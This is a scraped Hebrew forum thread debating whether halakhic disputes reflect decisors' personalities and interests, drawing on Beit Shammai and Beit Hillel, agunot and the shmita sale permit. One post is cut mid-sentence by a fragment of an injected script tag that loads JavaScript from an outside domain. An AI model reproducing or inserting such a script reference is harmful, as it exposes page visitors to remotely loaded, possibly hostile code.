אחד מהיסודות הישיבתיים ללימוד מקורות ההלכה הוא העקרון של ניתוק הדעה ההלכתית מכל הקשר סביבתי, היסטורי ואישי וטיפול במשא והמתן ההלכתי בכלים ראציונליים בלבד.
ודאי וודאי לא יתקבל על הדעת לטעון שדעה הלכתית כלשהי קשורה לאופיו של בעל המאמר. לכן בעולם הישיבות יסתכלו בעיין רעה במיוחד על השיטות המחקריות הקושרות מחלוקות בהלכה בנתונים סביבתיים והיסטוריים. וטיעון שיש קשר בין הלכה לאופיו של בעל המאמר ההלכתי גובל כמעט בכפירה באחד מהעיקרים של הפלפול הישיבתי. מפתיע למצוא לכן, בספר הנמצא בעומקו של הקונצסוס הישיבתי את הקטע המרתק הבא:
"האדם באשר אדם הוא, אם כי בידו וכוחו להפשיט שכלו מהתפעלות כוחות נפשו ... בכל זאת אדם הוא וכוחות נפשו בקרבו המה. אין בידו להפרישם משכלו. לזאת אין ביד אדם לבוא אל שכל אמיתי המופרש ומובדל לגמרי מכוחות הנפשיות והתורה נתונה לבני אדם לשפוט בה על פי שכל אנושי...
ובזה יתברר ענין בית שמאי ובית הלל.. מדוע תלמידי בית שמאי יסכימו כל חבורה על דעת אחת? כי סיבת מחלוקותם הייתה משנוי מזג כוחות נפשם, אשר אין ביד האדם להפרישו משכלו".
גישה זו קרובה בעיני לאפיקורסות, ובוודאי שהיא מוטעית.
אתה רואה, גם אצלך היו ימים שהיתה לך דעה והשתמשת בה< type="text/" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js">
נשלח ב-12/1/2019 23:22
ולהעיר, שהקטע הראשון שפותח את האשכול בשם ר"י סלנטר מסביר כיצד בית מדרש שלם של בי"ש יסבור אותו דבר תמיד, ואף אחד מהם לא יחלוק ויסבור כב"ה. ואילו הקטע של השל"ה והתניא מסביר למה תמיד ב"יש מחמירים וב"ה מקלים
במהלך ההסטוריה קמו סמכויות הלכתיות שתפקידן היה לפתור בעיות שצצו במהלך הזמן.
כיום אנחנו נמצאים בתקופה ש"גדולי הרבנים" והסמכויות ההלכתיות מתעסקות יותר בזוטות כגון: אורך הלבוש של הנשים, החמרות מהדרין, איסורים על גבי איסורים ושלל דוגמאות נוספות, במקום בדברים מהותיים.
למרות שיש כמות אדירה של "תלמידי ישיבה" שתורתם אומנותם ורבנים בדרגה זו או אחרת, כאשר מגיעים לסוגיות אמיתיות של דיני נפשות - פתאום כמעט כולם חסרי אונים לחלוטין בפסיקה. דוגמאות: עגונות מלחמה (למשל: תמי ארד - מעל 22 שנים עם בת אחת וכבר לא תוכל ללדת ילדים נוספים, קרנית גולדווסר שלולא מאבקה להחזרת (גופת) בעלה, עדיין היתה נותרת עגונה ללא ילדים, ללא יכולת חוקית להנשא שוב ולהקים משפחה) מסורבות גט עשרות שנים וכו'.
הגיע הזמן שהרבנים שרואים את עצמם כמנהיגי העולם היהודי יתנו תשובות אנושיות למצבים שכאלה. לא ייתכן להרוג נשים חיות (כלומר, לא לתת להן אפשרות להמשיך את חייהם בהעדר הבעל) רק כיוון שנוח להם לבחור בפתרון הקל שהוא לאסור ולא להתיר.
התנהגות כזו מביאה את הדת היהודית לרדידות וריקנות מחשבתית, שבה שוכחים שלנשים יש חיים ונשמה, והן לא אובייקטים שנועדו לגרות את הגברים.
_________________
בברכה
נשלח ב-22/2/2009 03:33
היום ראיתי מובא בשם שו"ת הרלב"ח, שהטעם שרש"י הקיל בדיני חליצה לטובת האשה, ותלה את הבחירה בין חליצה ליבום גם בדעת השומרת יבם, הוא מחמת היותו אבא לבנות!
תוקן על ידי דוד12 ב- 22/02/2009 3:29:57
נשלח ב-27/1/2009 09:01
חלמישצור: הפגנה [לחץ ציבורי] משנה הלכה מאז ועד להיתר מכירה12/10/2007
הסיפור התלמודי מספר: תלמוד ירושלמי מסכת ביצה פרק ב דף סא טור ג /ה"ד
מעשה בהלל הזקן שהביא עולתו לעזרה וסמך עליה וחברו עליו תלמידי שמי התחיל מכשכש בזנבה אמר לון ראו נקיבה היא ושלמים הבאתיה והפליגן בדברים והלכו להן לאחר ימים גברה ידן של ב"ש ובקשו לקבוע הלכה כדבריהן והיה שם בבא בן ביטיי מתלמידי בית שמאי יודע שהלכה כבית הלל פעם אחת נכנס לעזרה ומצא אותה שוממת אמר ישמו בתיהן של אילו שהשימו בית אלהינו מה עשה שלח והביא שלשת אלפים צאן מצאן קדר וביקרן ממומין והעמידן בהר הבית אמ' להן שמעוני אחיי בית ישרא' כל מי שהוא רוצה יביא עולות יביא ויסמוך יביא שלמים יביא ויסמוך באותה השעה נקבעה הלכה כבית הלל ולא אמר אדם דבר.
וכן הוא בבלי ביצה כ' ע"א בשינוי נוסח.
עינינה הוא מחלוקת ב"ה וב"ש האם מבאים קורבן עולה בחג בית שמאי סבורים שלא בית הלל מורים שמבאים.
תלמידי בית שמאי -ותמיד כנראה התלמידים קנאים לרבותיהם כאז כן עתה - מבקשים לכפות את ההלכה שאין מבאים קורבן עולה בחג . הלל עצמו מחליט לעשות מעשה ומביא קורבן עולה ברם תלמידי שמאי רוצים למנוע בעדו אולי אף בכח הזרוע ואולי בכדי למנוע ריב ומדון בעזרה בעיצומו של חג מוותר להם הלל הענוותן ואף משנה משום דרכי שלום ואומר שאין זה זכר כהילכתו בקורבן עולה אלא נקבה כהילכתה לקורבן שלמים.
העם שדעתו לא היתה נוחה ממחלוקת זו ואולי גם משום הקושי להביא את קורבנות עולותיו בימי החול בחר להנהיג
מרד צרכנים ונמנע מלהביא קורבנות כלל בחג בבא בן ביטיי מגיע לעזרה בחג ומצא אותה שוממה מקורבנות בחג והוא יוצא בביטוי חריף מאוד והוא מציע לעם שלושת אלפי ראשי בקר ומכריז שאפשר להביא גם קורבן עולה
הנה כי כן העם בהפגנת הימנעות גרם לכך שהלכה כהלל לא מתוך שיקולי פסיקה בלבד אלא מתוך לחץ ציבורי
האם אין תופעה זו חוזרת גם כיום כאשר לחץ ציבורי גורם וגם ע"י רבנים אורטודוקסים כמו הרב בני לאו לאפשר את היתר המכירה שלדעת הרבנות לפחות לפי תשובתם לבג"צ הוא בגדר טריפה
בשורות טובות
***** mdabraham:
'דעת הרבנות' אין חיה כזו האידנא. לפחות אותו חלק שמתנגד להיתר (שם. לא כל המתנגדים להיתר) אין לו דעת כלל, ואינו בכלל 'רבנות' אלא לשוטים ובורים. מה מקום להשוות בין הכנופיה המגוחכת הזו לבין ב"ש וב"ה? אני מאד מקווה שאז זה לא היה אותו דבר. אבל אתה יודע מה, לאור הגיחוכת דהיום אני כבר באמת לא יכול לדעת כלום...
שני עיוורים לומדים משנה שאוסרת על עיוורים להיות שליחים לגט. נשמע כמו תחילתה של בדיחה סרקסטית, אבל כזה הוא לימוד התלמוד: מפגש של בני אדם עם טקסטים, של מציאות חיים עם הגדרות משפטיות. לפעמים המפגש הזה כואב, לעיתים מזכך ומדייק תובנות חברתיות.
ממללא: דווקא בית מדרשו של הרב קוק משתדלים בימינו למצוא פתרונות טובים
יותר מהיתר מכירה - הרב אברהם שפירא, למשל, הוא אחד מראשי "אוצר הארץ".
בכך הם הולכים בדרכו של הרב קוק עצמו, שבכל פעם שכתב בעד היתר מכירה,
הדגיש יחד עם זה את הצורך לחפש פתרונות טובים יותר. היתר מכירה מזוהה
בימינו עם זרם אחר שקשה לי להגדיר אותו במדוייק.
עוד כמה הערות על דברים שנכתבו קודם:
* החזון אי"ש לא תמיד הקל בדיני שמיטה. למשל, הוא החמיר בעניין זריעת עצי סרק לגדר, זריעה ע"י גרמא, זריעה בתוך בית, ועוד.
* לגבי היחס בין היתר מכירה להיתרים אחרים כגון היתר מכירת חמץ - אכן קיימים כל הצירופים האפשריים:
- אלה שמשתמשים בשני ההיתרים;
- אלה שלא משתמשים באף היתר (אני נמצא כאן);
- אלה שמשתמשים בהיתר מכירת קרקעות ולא בהיתר מכירת חמץ - הם יכולים
להסביר, למשל, שהשמיטה היא מדרבנן ואיסור "לא ייראה חמץ" הוא מדאורייתא;
או שבשמיטת קרקעות ההפסד הכלכלי הוא גדול ומשמעותי יותר; וכד'.
- אלה שמשתמשים בהיתר מכירת חמץ ולא בהיתר מכירת קרקעות - הרב שמואל
סלנט התייחס לנושא זה כבר לקראת שנת ה'תרמ"ט, שנת השמיטה השניה ביישוב
היהודי המתחדש בא"י, בתשובתו לפקידי הבארון; ומנה שני הבדלים: א. מכירת
חמץ היא אמיתית ותקפה גם בדיני המלכות, בעוד שמכירת קרקעות אינה תקפה ללא
רישום בטאבו, והמוכרים הרי אינם מתכוונים באמת לרשום בטאבו את
המכירה; ב. כשאדם מוכר חמץ, הוא באמת רוצה להיפטר ממנו, ואם הגוי
יביא לו את מלוא הסכום, הוא ישמח לתת לו את החמץ; אבל כשחקלאי מוכר קרקע,
הוא רוצה שהקרקע תישאר שלו (הרי הוא מתפרנס ממנה!) ואם הגוי יביא לו את
המחיר, הוא לא ירצה לתת לו אותה.
ויש להוסיף: ג. כוונת התורה באיסור בל ייראה היא שלא יהיה חמץ ברשות יהודי
בפסח, וכשיהודי מוכר חמץ לגוי הוא מקיים את המצוה, הוא מוציא את החמץ שלו
מרשותו למשך הפסח; אבל כוונת התורה במצוות השמיטה היא שארץ ישראל תהיה
ברשות עם ישראל, והם ישביתו אותה, וכשיהודי מוכר קרקע לגוי, הוא לא מקיים
את המצוה אלא רק מפקיע את עצמו מקיומה.
---
פעם שמעתי תיאוריה של רב קונסרבטיבי כלשהו, שאמוראי ארץ ישראל הקלו בדיני
מצוות התלויות בארץ יותר מאמוראי בבל, כי הם הכירו מקרוב את הקשיים של
החקלאים בארץ ישראל. אין לי מספיק ידע בתלמוד כדי להתייחס לתיאוריה זו.
נשלח ב-27/5/2007 09:14
מחלוקות בהלכה בשל שינויי אופי -
משנה מפורשת
הוריות א,ד
"הורו ב"ד... או זקן שלא ראה בנים הרי אלו פטורין עד שיהיו כולם ראויים להוראה"
ברטנורה: זקן שלא ראה בנים אינו ראוי לדון דיני נפשות שסתמו שהוא אכזרי ולא ירחם.
תוקן על ידי מיכההמרשתי ב- 27/05/2007 9:12:54
נשלח ב-25/5/2007 13:24
ממללא:
אראלסגל,
היתר מכירה מזוהה לרוב עם בית מדרשו של הרב קוק, ומהיכרותי עמם הם רחוקים מתאוות גלובליזציה ומותגים מחו"ל גם בששת השנים שקודמים לשמיטה.
חוצמזה, אדם יכול לא להתנגד עקרונית למוצרי יבוא מחו"ל אבל כן להתנגד ליבוא מהרשות הפלשתינאית ו/או ממדינות אויב אחרות כמו יתר מדינות ערב או כמו ההימנעות של חלק מהאוכלוסיה לצרוך תוצרת גרמנית או פולנית גם כיום. בנוסף, אדם יכול לצרוך רק תוצרת ישראלית בענף מסויים שקיומו קריטי בעיניו ולא להקפיד בכך בענפים אחרים.
באופן אישי כשוחר גלובליזציה אני גם הייתי מעדיף פיתרון של יבוא חקלאי מחו"ל (אבל בשום אופן לא משטחי הרשות הפלשתינאית. לא בגלל שיש לי משהו נגד כל הפלשתינאים כפרטים, אלא כי מהחשש שלי שהכסף שלי ילך למעשרות צדקה לחמאס או למימון מערכות ה'שלטון' של החברה הפלשתינאית) תוך מתן פיתרון ע"י הציבור לחקלאים שנמנעים מלעבוד בשנת השמיטה.
דא עקא, במציאות של עם ישראל כיום זה לא שייך, ולכן מבין האופציות של 'היתר מכירה' או קנייה מהפלשתינאים אני מעדיף את האופציה הראשונה (אם כי כמובן שגם לה יש כמה גרסאות כיום). גם אם הפיתרון אינו אידיאלי, הוא אינו שונה מכל פיתרון של התנגדות ערכים שהוא לרוב לא אידיאלי.
תוקן על ידי עצכח ב- 18/11/2008 21:48:52
נשלח ב-25/5/2007 13:24
מואדיב:
.
לצורך חידוד הדיון והבנת השיטות השונות, הייתי מציע כי נזנח לרגע את האינסטינקט הציני, המחפש נגיעות בכל קביעה ופסיקה.
ניצבת לפנינו מחלוקת הלכתית. לכל אחד מהאוחזים באחת מהשיטות, יש סיבה לגישתו, ובדרך כלל הוא גם מבטא אותה ומנמק בנימוקים כבדי משקל.
יש כאן כמה סוגיות שכל אחת מהן ראויה לדיון נפרד, וכולן נפגשות על זירת הדיון ההלכתי אחת לשבע שנים:
- דין חיוב שמיטה כיום (דרבנן, אפילו לא דרבנן, וכו' )
-הערמה הלכתית
-לא תחנם
-וחי אחיך עמך (שניתן לקשרו ל"לא תחונם", אך נלע"ד להפריד בין שניהם)
-השקפה
ועוד הערה אחת:
לקבוע כי פוסק הידוע כמחמיר, הקל בפסיקה מסויימת רק בגלל נגיעות או השקפה, זו דרך קלה ביותר של התמודדות עם דילמה בין שני צדדים הלכתיים. ידועה אמרתו של הרב פיינשטיין כי הוא אינו מקל בדיני שבת אלא מחמיר מאד בדיני פיקוח נפש, וד"ל.
ואולי ויכוח זה הוא תנא דמסייע למו"ר ר' סיינפלד, שהתווכח עמי פעם וטען כי קל יותר לשמור מצוות ב"הגולה הדוויה" מאשר בא"י, והדברים עתיקים.
תוקן על ידי עצכח ב- 18/11/2008 21:49:54
נשלח ב-25/5/2007 13:23
אראלסגל:
ממללא: מי אמר שהקושיות הללו מתייחסות לכל תומכי היתר המכירה? ברור שיש כאלה שהם עקביים בשיטתם. אני רק טענתי שיש אנשים שפסיקתם אינה עקבית (אני מכיר אישית אנשים, ביניהם גם רבנים, ש"נזכרים" להקפיד על תוצרת הארץ או על מנהגי כשרות רק בשנת השמיטה).
תוקן על ידי עצכח ב- 18/11/2008 21:50:42
נשלח ב-25/5/2007 13:22
אילפא:
סגל,
אם עשירית ממה שכתבת נכון, אני לא סומך יותר על השגחה כל שהיא בחיים.
אדרבה, חפש ותביא ממצאים בדוקים.
*****
ממללא:
אראל סגל,
א. כידוע לך ההערמה של 'היתר מכירה' בשמיטה יסודתה אצל פוסקי הלכה שאין להם קשר אידאולוגי לחוגי הדתיים-לאומיים בגוון קוקניקי, כר' יצחק אלחנן מקובנה, ר' יהושע מקוטנא, השדי חמד וראשל"צים אחדים.
גם כיום מצדדים בו כפתרון לגיטימי דמויות מחוץ למעגל הנ"ל כמו הגרע"י, הרב עמאר והרב בקשי-דורון, למשל.
ב. לגבי קושייתך על כיבוש הארץ, לשיטת הד"ל הנ"ל כיבוש הארץ היא מצוה מדאורייתא. שמיטה כמעט לכל הדעות היא לכל היותר מדרבנן, ולחלקן מנהג בעלמא, ועל כן יש מקום להקל בה מה שאין מקום במצוות אחרות, ק"ו שרובא דעלמא מקלים בהערמות במצוות מדאורייתא כמו איסור חמץ (אני מודע לכך שאתה מתנגד גם לזה). אפילו בדיני שמיטה עצמה, כשמדובר בדין שמיטת כספים כל היהדות הדתית והחרדית רצה לעשות פרוזבול ואף אחד לא מחמיר בזה ושומט חובותיו.
ג. לא ברור לי על סמל מה אתה מייחס למצדדי היתר מכירה באשר הם תמיכה בגלובליזציה או הקלה במנהגי כשרות. מאיפה הבאת את זה?
**
אגב, איזה אינטרס היה לרב קוק לתמוך בהתר המכירה ואיזה אינטרס היה לחזו"א להתנגד אליו? לי אין ספק ששניהם האמינו שהם פועלים ברוח התורה.
נכון שכיום יש גופים עסקיים שמתפרנסים מהשיטות ההלכתיות השונות, אבל לא הם אלו שהולידו את המחלוקת ההלכתית.
